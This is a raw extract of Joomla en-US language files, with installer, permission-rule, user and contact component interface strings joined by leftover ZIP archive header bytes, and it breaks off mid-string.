JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DEFAULT="This language can't be uninstalled as long as it is defined as a default language." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DIRECTORY="Language Uninstall: Unable to remove the specified Language directory." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_ELEMENT_EMPTY="Language Uninstall: Element is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PATH_EMPTY="Language Uninstall: Language path is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PROTECTED="This language can't be uninstalled. It is protected in the database (usually en-GB)" JLIB_INSTALLER_ERROR_LIB_DISCOVER_STORE_DETAILS="Library Discover install: Failed to store library details" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_MANIFEST="Library Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Library Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_LOAD_MANIFEST="Library Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_WARNCORELIBRARY="Library Uninstall: Trying to uninstall a core library" JLIB_INSTALLER_ERROR_LOAD_XML="JInstaller: :Install: Failed to load XML File: %s" JLIB_INSTALLER_ERROR_MOD_DISCOVER_STORE_DETAILS="Module Discover install: Failed to store module details" JLIB_INSTALLER_ERROR_MOD_REFRESH_MANIFEST_CACHE="Module Refresh manifest cache: Failed to store module details" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_ERRORUNKOWNEXTENSION="Module Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION="Module Uninstall: %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Module Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_MOD_UNINSTALL_SQL_ERROR="Module Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_WARNCOREMODULE="Module Uninstall: Trying to uninstall a core module: %s" JLIB_INSTALLER_ERROR_NO_CORE_LANGUAGE="No core pack exists for the language [%s]" JLIB_INSTALLER_ERROR_NO_FILE="JInstaller: :Install: File does not exist %s" JLIB_INSTALLER_ERROR_NO_LANGUAGE_TAG="The package did not specify a language tag. Are you trying to install an old language package?" JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE="JInstaller: :Install: Cannot find Joomla XML setup file" JLIB_INSTALLER_ERROR_NOTFINDXMLSETUPFILE="JInstaller: :Install: Cannot find XML setup file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_MANIFEST="Package Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Package Uninstall: Manifest file invalid or not found: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_LOAD_MANIFEST="Package Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MANIFEST_NOT_REMOVED="Package Uninstall: Errors were detected, manifest file not removed!" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MISSINGMANIFEST="Package Uninstall: Missing manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_NOT_PROPER="Package Uninstall: This extension may have already been uninstalled or might not have been uninstall properly: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_WARNCOREPACK="Package Uninstall: Trying to uninstall core package" JLIB_INSTALLER_ERROR_PLG_DISCOVER_STORE_DETAILS="Plugin Discover install: Failed to store plugin details" JLIB_INSTALLER_ERROR_PLG_REFRESH_MANIFEST_CACHE="Plugin Refresh manifest cache: Failed to store plugin details" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_ERRORUNKOWNEXTENSION="Plugin Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_FOLDER_FIELD_EMPTY="Plugin Uninstall: Folder field empty, cannot remove files" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_MANIFEST="Plugin Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Plugin Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_LOAD_MANIFEST="Plugin Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_WARNCOREPLUGIN="Plugin Uninstall: Trying to uninstall a core plugin: %s" JLIB_INSTALLER_ERROR_SQL_ERROR="JInstaller: :Install: Error SQL %s" JLIB_INSTALLER_ERROR_SQL_FILENOTFOUND="JInstaller: :Install: SQL File not found %s" JLIB_INSTALLER_ERROR_SQL_READBUFFER="JInstaller: :Install: SQL File Buffer Read Error" JLIB_INSTALLER_ERROR_TPL_DISCOVER_STORE_DETAILS="Template Discover install: Failed to store template details" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_ERRORUNKOWNEXTENSION="Template Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_CLIENT="Template Uninstall: Invalid client." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Template Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DEFAULT="Template Uninstall: Cannot remove default template." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DIRECTORY="Template Uninstall: Directory does not exist, cannot remove files" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_ID_EMPTY="Template Uninstall: Template ID is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_WARNCORETEMPLATE="Template Uninstall: Trying to uninstall a core template: %s" JLIB_INSTALLER_ERROR_UNKNOWN_CLIENT_TYPE="Unknown Client Type [%s]" JLIB_INSTALLER_INSTALL="Install" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS="Language set to Default for %d users" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS_1="Language set to Default for %d user" JLIB_INSTALLER_UNINSTALL="Uninstall" JLIB_INSTALLER_UPDATE="Update" JLIB_INSTALLER_ERROR_EXTENSION_INVALID_CLIENT_IDENTIFIER="Invalid client identifier specified in extension manifest." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_UNKNOWN_EXTENSION="Attempting to uninstall unknown extension from package. This extension may have already been removed earlier." JLIB_MAIL_FUNCTION_DISABLED="The mail() function has been disabled and the mail cannot be sent." JLIB_MAIL_INVALID_EMAIL_SENDER="JMail: : Invalid email Sender: %s, JMail: :setSender(%s)" JLIB_PLUGIN_ERROR_LOADING_PLUGINS="Error loading Plugins: %s" JLIB_REGISTRY_EXCEPTION_LOAD_FORMAT_CLASS="Unable to load format class" JLIB_RULES_ACTION="Action" JLIB_RULES_ALLOWED="Allowed" JLIB_RULES_ALLOWED_ADMIN="Allowed (Super Admin)" JLIB_RULES_CALCULATED_SETTING="Calculated Setting 2" JLIB_RULES_CONFLICT="Conflict" JLIB_RULES_DENIED="Denied" JLIB_RULES_GROUP="%s" JLIB_RULES_GROUPS="Groups" JLIB_RULES_INHERIT="Inherit" JLIB_RULES_INHERITED="Inherited" JLIB_RULES_NOT_ALLOWED="Not Allowed" JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT="Conflict" JLIB_RULES_NOT_ALLOWED_LOCKED="Not Allowed (Locked)" JLIB_RULES_NOT_SET="Not Set" JLIB_RULES_SELECT_ALLOW_DENY_GROUP="Allow or deny %s for users in the %s group" JLIB_RULES_SELECT_SETTING="Select New Setting 1" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this and all child groups, components and content. Note that Denied will overrule any inherited setting, and also the setting in any child group, component or content. In the case of a setting conflict, Deny will take precedence. Not Set is equivalent to Denied but can be changed in child groups, components and content.
            2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTING_NOTES_ITEM="1. If you change the setting, it will apply to this item. Note that:
            Inherited means that the permissions from global configuration, parent group and category will be used.
            Denied means that no matter what the global configuration, parent group or category settings are, the group being edited cannot take this action on this item.
            Allowed means that the group being edited will be able to take this action for this item (but if this is in conflict with the global configuration, parent group or category it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTINGS_DESC="Manage the permission settings for the user groups below. See notes at the bottom." JLIB_UNKNOWN="Unknown" JLIB_UPDATER_ERROR_COLLECTION_FOPEN="The PHP allow_url_fopen setting is disabled. This setting must be enabled for the updater to work." JLIB_UPDATER_ERROR_COLLECTION_OPEN_URL="Update: :Collection: Could not open %s" JLIB_UPDATER_ERROR_COLLECTION_PARSE_URL="Update: :Collection: Could not parse %s" JLIB_UPDATER_ERROR_EXTENSION_OPEN_URL="Update: :Extension: Could not open %s" JLIB_UPDATER_ERROR_EXTENSION_PARSE_URL="Update: :Extension: Could not parse %s" JLIB_USER_ERROR_AUTHENTICATION_FAILED_LOAD_PLUGIN="JAuthentication: :authenticate: Failed to load plugin: %s" JLIB_USER_ERROR_AUTHENTICATION_LIBRARIES="JAuthentication: :__construct: Could not load authentication libraries." JLIB_USER_ERROR_BIND_ARRAY="Unable to bind array to user object" JLIB_USER_ERROR_CANNOT_DEMOTE_SELF="You cannot remove your own Super Admin permissions." JLIB_USER_ERROR_ID_NOT_EXISTS="JUser: :_load: User %s does not exist" JLIB_USER_ERROR_NOT_SUPERADMIN="Only users with Super Admin permissions can change other Super Admin user accounts." JLIB_USER_ERROR_PASSWORD_NOT_MATCH="Passwords do not match. Please re-enter password." JLIB_USER_ERROR_UNABLE_TO_FIND_USER="Unable to find a user with given activation string" JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: Unable to load user with ID: %s" JLIB_USER_EXCEPTION_ACCESS_USERGROUP_INVALID="User Group does not exist" JLIB_UTIL_ERROR_APP_INSTANTIATION="Application Instantiation Error" JLIB_UTIL_ERROR_CONNECT_DATABASE="JDatabase: :getInstance: Could not connect to database
            joomla.library: %1$s - %2$s" JLIB_UTIL_ERROR_DOMIT="DommitDocument is deprecated. Use DomDocument instead" JLIB_UTIL_ERROR_LOADING_FEED_DATA="Error loading feed data" JLIB_UTIL_ERROR_XML_LOAD="Failed loading XML file" PK@y>\OV ZZ3language/en-US/en-US.plg_editors_codemirror.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CODEMIRROR_XML_DESCRIPTION="This plugin loads the CodeMirror editor." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror"PK@y>\9@aa(language/en-US/en-US.com_contact.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT="Contacts" COM_CONTACT_CATEGORIES="Categories" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of contact categories within a category." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION="Default" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE="List All Contact Categories" COM_CONTACT_CATEGORY_ADD_TITLE="Category Manager: Add A New Contact Category" COM_CONTACT_CATEGORY_EDIT_TITLE="Category Manager: Edit A Contact Category" COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="This view lists the contacts in a category." COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION="Default" COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE="List Contacts in a Category" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="This links to the contact information for one contact." COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION="Default" COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE="Single Contact" COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC="This view lists the featured contacts." COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION="Default" COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE="Featured Contacts" COM_CONTACT_CONTACTS="Contacts" COM_CONTACT_XML_DESCRIPTION="This component shows a listing of Contact Information" PK@y>\$1UU1language/en-US/en-US.plg_search_newsfeeds.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_NEWSFEEDS="Search - Newsfeeds" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Enables searching of Newsfeeds" PK@y>\oMoM$language/en-US/en-US.com_contact.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT="Contacts" COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL="Contact Display Options" COM_CONTACT_BATCH_MENU_LABEL="Select Category for Move/Copy" COM_CONTACT_BATCH_OPTIONS="Batch process the selected contacts" COM_CONTACT_BATCH_TIP="If choosing to copy a contact, any other actions selected will be applied to the copied contact. Otherwise, all actions are applied to the selected contact." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of contact categories within a category." COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="This view lists the contacts in a category." COM_CONTACT_CHANGE_CONTACT="Change Contact" COM_CONTACT_CHANGE_CONTACT_BUTTON="Change Contact" COM_CONTACT_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Contact Component will integrate with other extensions." COM_CONTACT_CONFIGURATION="Contact Manager Options" COM_CONTACT_CONTACT_DETAILS="Contact Details" COM_CONTACT_CONTACT_DISPLAY_DETAILS="Display options for the individual contact page." COM_CONTACT_CONTACT_SETTINGS_LABEL="Contact Options" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="This links to the contact information for one contact." COM_CONTACT_DETAILS="Contact Information" COM_CONTACT_EDIT_CONTACT="Edit Contact" COM_CONTACT_EDIT_DETAILS="Edit contact information displayed on an individual page." COM_CONTACT_ERROR_UNIQUE_ALIAS="Another Contact from this category has the same alias" COM_CONTACT_FIELD_ARTICLES_COMMENTS_DESC="Allow comments for the articles written by the contact" COM_CONTACT_FIELD_ARTICLES_COMMENTS_LABEL="Comments" COM_CONTACT_FIELD_ARTICLES_RATINGS_DESC="Allow articles ratings for the contact" COM_CONTACT_FIELD_ARTICLES_RATINGS_LABEL="Articles ratings" COM_CONTACT_FIELD_ARTICLES_SHOW_DESC="If this contact is mapped to a user, and if this is set to Show, then a list of articles created by this user will show." COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL="Show User Articles" COM_CONTACT_FIELD_BREADCRUMBS_DESC="Show/Hide Category Breadcrumbs" COM_CONTACT_FIELD_BREADCRUMBS_LABEL="Show Category Breadcrumbs" COM_CONTACT_FIELD_CAPTCHA_DESC="Select the captcha plugin that will be used in the contact form. You may need to enter required information for your captcha plugin in the Plugin Manager.
            If 'Use Default' is selected, make sure a captcha plugin is selected in Global Configuration." COM_CONTACT_FIELD_CAPTCHA_LABEL="Allow Captcha on Contact" COM_CONTACT_FIELD_CATEGORIES_DESC="Displays a list of contact categories within a category." COM_CONTACT_FIELD_CATEGORIES_LABEL="Choose a parent category" COM_CONTACT_FIELD_CATEGORY_DESC="Select a contact category to display" COM_CONTACT_FIELD_CATEGORY_LABEL="Select a category" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_DESC="Allow vCard to be displayed" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_LABEL="Allow vCard" COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_DESC="Email addresses not allowed to submit contact form." COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_LABEL="Banned Email" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_DESC="Subjects not allowed in contact form" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_LABEL="Banned Subject" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_DESC="Text not allowed in contact form body" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_LABEL="Banned Text" COM_CONTACT_FIELD_CONFIG_CATEGORIES_DESC="These settings apply for Contact Categories Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_CATEGORY_DESC="These settings apply for Contact Category Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_CONTACT_FORM="Form" COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC="Show/Hide a Country column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL="Country" COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC="Turns off the automated reply, allowing for Plugins to handle integration with other systems." COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL="Custom Reply" COM_CONTACT_FIELD_CONFIG_EMAIL_DESC="Show/Hide an Email column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_FAX_DESC="Show/Hide a Fax column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_FAX_LABEL="Fax" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC="These settings apply for single Contact unless they are changed for a specific menu item or Contact" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DISPLAY="Contact" COM_CONTACT_FIELD_CONFIG_MOBILE_DESC="Show/Hide show a Mobile column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL="Mobile" COM_CONTACT_FIELD_CONFIG_PHONE_DESC="Show/Hide a Phone column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_PHONE_LABEL="Phone" COM_CONTACT_FIELD_CONFIG_POSITION_DESC="Show/Hide a Position column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_POSITION_LABEL="Position" COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC="Enter an alternative URL where the user will be redirected to after mail is sent." COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL="Contact Redirect" COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC="Check for the existence of session cookie. This means that users without cookies enabled will not be able to send emails." COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL="Session Check" COM_CONTACT_FIELD_CONFIG_STATE_LABEL="State or County" COM_CONTACT_FIELD_CONFIG_STATE_DESC="Show/Hide a State or County column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_SUBURB_DESC="Show/Hide a City or Suburb column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_CONFIG_TABLE_OF_CONTACTS_DESC="These settings apply for Contact List Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_VCARD_DESC="Show/Hide a vCard column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_VCARD_LABEL="vCard" COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC="If "Hide", the Contact Category will not show. If "Show Without Link", Category will show as text. If "Show With Link", Category will show as a link to a Single Category Menu Item." COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL="Contact Category" COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC="If Show, the user will be able to change which contact is shown by selecting a contact from a drop-down list of all contacts in the current contact category." COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL="Show Contact List" COM_CONTACT_FIELD_CREATED_BY_ALIAS_DESC="You can enter here an alias to be displayed instead of the name of the user who created the contact." COM_CONTACT_FIELD_CREATED_BY_ALIAS_LABEL="Created By Alias" COM_CONTACT_FIELD_CREATED_BY_DESC="You can change here the name of the user who created the contact." COM_CONTACT_FIELD_CREATED_DESC="Date contact was created." COM_CONTACT_FIELD_CREATED_LABEL="Created date" COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_DESC="Email addresses not allowed to submit contact form." COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_LABEL="Banned Email" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_DESC="Subjects not allowed in contact form" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_LABEL="Banned Subject" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_DESC="Text not allowed in contact form body" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_LABEL="Banned Text" COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC="Hide or Show checkbox to allow copy of email to be sent to submitter." COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL="Send Copy to Submitter" COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC="Show or Hide contact form." COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL="Show Contact Form" COM_CONTACT_FIELD_FEATURED_DESC="If marked yes, will be displayed in featured view." COM_CONTACT_FIELD_FEEDLINK_DESC="Show/Hide a feed link for this contact category" COM_CONTACT_FIELD_FEEDLINK_LABEL="Feed link" COM_CONTACT_FIELD_ICONS_ADDRESS_DESC="Select the Address icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_ADDRESS_LABEL="Address Icon" COM_CONTACT_FIELD_ICONS_EMAIL_DESC="Select the Email icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_EMAIL_LABEL="Email Icon" COM_CONTACT_FIELD_ICONS_FAX_DESC="Select the Fax icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_FAX_LABEL="Fax Icon" COM_CONTACT_FIELD_ICONS_MISC_DESC="Select the Misc icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_MISC_LABEL="Misc Icon" COM_CONTACT_FIELD_ICONS_MOBILE_DESC="Select the Mobile icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_MOBILE_LABEL="Mobile Icon" COM_CONTACT_FIELD_ICONS_SETTINGS_DESC="Choose whether to display icons, text or nothing next to the information." COM_CONTACT_FIELD_ICONS_SETTINGS_LABEL="Settings" COM_CONTACT_FIELD_ICONS_TELEPHONE_DESC="Select the Telephone icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_TELEPHONE_LABEL="Telephone Icon" COM_CONTACT_FIELD_IMAGE_ALIGN_DESC="Alignment of the image" COM_CONTACT_FIELD_IMAGE_ALIGN_LABEL="Image alignment" COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC="Contact's Address" COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL="Address" COM_CONTACT_FIELD_INFORMATION_COUNTRY_DESC="Contact's Country" COM_CONTACT_FIELD_INFORMATION_COUNTRY_LABEL="Country" COM_CONTACT_FIELD_INFORMATION_EMAIL_DESC="Contact's Email" COM_CONTACT_FIELD_INFORMATION_FAX_DESC="Contact's Fax" COM_CONTACT_FIELD_INFORMATION_FAX_LABEL="Fax" COM_CONTACT_FIELD_INFORMATION_MISC_DESC="Contact's Miscellaneous Information" COM_CONTACT_FIELD_INFORMATION_MISC_LABEL="Other Information" COM_CONTACT_FIELD_INFORMATION_MOBILE_DESC="Contact's Mobile phone" COM_CONTACT_FIELD_INFORMATION_MOBILE_LABEL="Mobile" COM_CONTACT_FIELD_INFORMATION_POSITION_DESC="Contact's Position" COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL="Position" COM_CONTACT_FIELD_INFORMATION_POSTCODE_DESC="Contact's Postal Code" COM_CONTACT_FIELD_INFORMATION_POSTCODE_LABEL="Postal / ZIP Code" COM_CONTACT_FIELD_INFORMATION_STATE_DESC="Contact's State or Province" COM_CONTACT_FIELD_INFORMATION_STATE_LABEL="State or Province" COM_CONTACT_FIELD_INFORMATION_SUBURB_DESC="Contact's City or Suburb" COM_CONTACT_FIELD_INFORMATION_SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_DESC="Contact's Telephone" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_LABEL="Telephone" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_DESC="Contact's Website" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_LABEL="Website" COM_CONTACT_FIELD_INITIAL_SORT_DESC="Choose the field or fields by which contacts will be sorted." COM_CONTACT_FIELD_INITIAL_SORT_LABEL="Sort by" COM_CONTACT_FIELD_LANGUAGE_DESC="Assign a language for this contact" COM_CONTACT_FIELD_LIMIT_BOX_DESC="Show/Hide limit box" COM_CONTACT_FIELD_LIMIT_BOX_LABEL="Limit box" COM_CONTACT_FIELD_LINK_NAME_DESC="An additional link for this contact" COM_CONTACT_FIELD_LINKA_DESC="Description for Link A" COM_CONTACT_FIELD_LINKA_LABEL="Link A URL" COM_CONTACT_FIELD_LINKA_NAME_LABEL="Link A Label" COM_CONTACT_FIELD_LINKB_DESC="Description for Link B" COM_CONTACT_FIELD_LINKB_LABEL="Link B URL" COM_CONTACT_FIELD_LINKB_NAME_LABEL="Link B Label" COM_CONTACT_FIELD_LINKC_DESC="Description for Link C" COM_CONTACT_FIELD_LINKC_LABEL="Link C URL" COM_CONTACT_FIELD_LINKC_NAME_LABEL="Link C Label" COM_CONTACT_FIELD_LINKD_DESC="Description for Link D" COM_CONTACT_FIELD_LINKD_LABEL="Link D URL" COM_CONTACT_FIELD_LINKD_NAME_LABEL="Link D Label" COM_CONTACT_FIELD_LINKE_DESC="Description for Link E" COM_CONTACT_FIELD_LINKE_LABEL="Link E URL" COM_CONTACT_FIELD_LINKE_NAME_LABEL="Link E Label" COM_CONTACT_FIELD_LINKED_USER_DESC="Linked Joomla! User" COM_CONTACT_FIELD_LINKED_USER_LABEL="Linked User" COM_CONTACT_FIELD_MODIFIED_DESC="The date and time that the contact was last modified." COM_CONTACT_FIELD_NAME_DESC="Contact Name" COM_CONTACT_FIELD_NAME_LABEL="Name" COM_CONTACT_FIELD_NUM_CONTACTS_DESC="Number of Contacts to display as list." COM_CONTACT_FIELD_NUM_CONTACTS_LABEL="Number of contacts" COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC="Show or Hide contact email" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC="Show or Hide position" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL="Contact's Position" COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC="Show or Hide Country" COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL="Country" COM_CONTACT_FIELD_PARAMS_FAX_DESC="Show or Hide fax number" COM_CONTACT_FIELD_PARAMS_FAX_LABEL="Fax" COM_CONTACT_FIELD_PARAMS_IMAGE_DESC="Select the contact image." COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL="Image" COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC="Show or Hide miscellaneous information" COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL="Misc. Information" COM_CONTACT_FIELD_PARAMS_MOBILE_DESC="Show or Hide mobile number" COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL="Mobile phone" COM_CONTACT_FIELD_PARAMS_NAME_DESC="Show name of the contact" COM_CONTACT_FIELD_PARAMS_NAME_LABEL="Name" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC="Show or Hide postal or zip code" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL="Postal Code" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_DESC="Show or Hide image" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_LABEL="Image" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC="Show or Hide state or county" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL="State or County" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC="Show or Hide street address" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL="Street Address" COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC="Show or Hide telephone number" COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL="Telephone" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC="Show or hide city or suburb" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_PARAMS_VCARD_DESC="Whether or not to allow export to vCard format" COM_CONTACT_FIELD_PARAMS_VCARD_LABEL="vCard" COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC="Show or hide webpage" COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL="Webpage" COM_CONTACT_FIELD_PRESENTATION_DESC="Determines the style used to display sections of the contact form" COM_CONTACT_FIELD_PRESENTATION_LABEL="Display format" COM_CONTACT_FIELD_PROFILE_SHOW_DESC="If this contact is mapped to a user, and if this is set to Show, then the profile of this user will show." COM_CONTACT_FIELD_PROFILE_SHOW_LABEL="Show Profile" COM_CONTACT_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the contact." COM_CONTACT_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" COM_CONTACT_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the contact." COM_CONTACT_FIELD_PUBLISH_UP_LABEL="Start Publishing" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC="Show or Hide the number of Contacts in category" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL="# Contacts in Category" COM_CONTACT_FIELD_SHOW_CATEGORY_DESC="Displays the category" COM_CONTACT_FIELD_SHOW_LINKS_DESC="Show or hide the links." COM_CONTACT_FIELD_SHOW_LINKS_LABEL="Show Links" COM_CONTACT_FIELD_SORTNAME1_DESC="The part of the name to use as the first 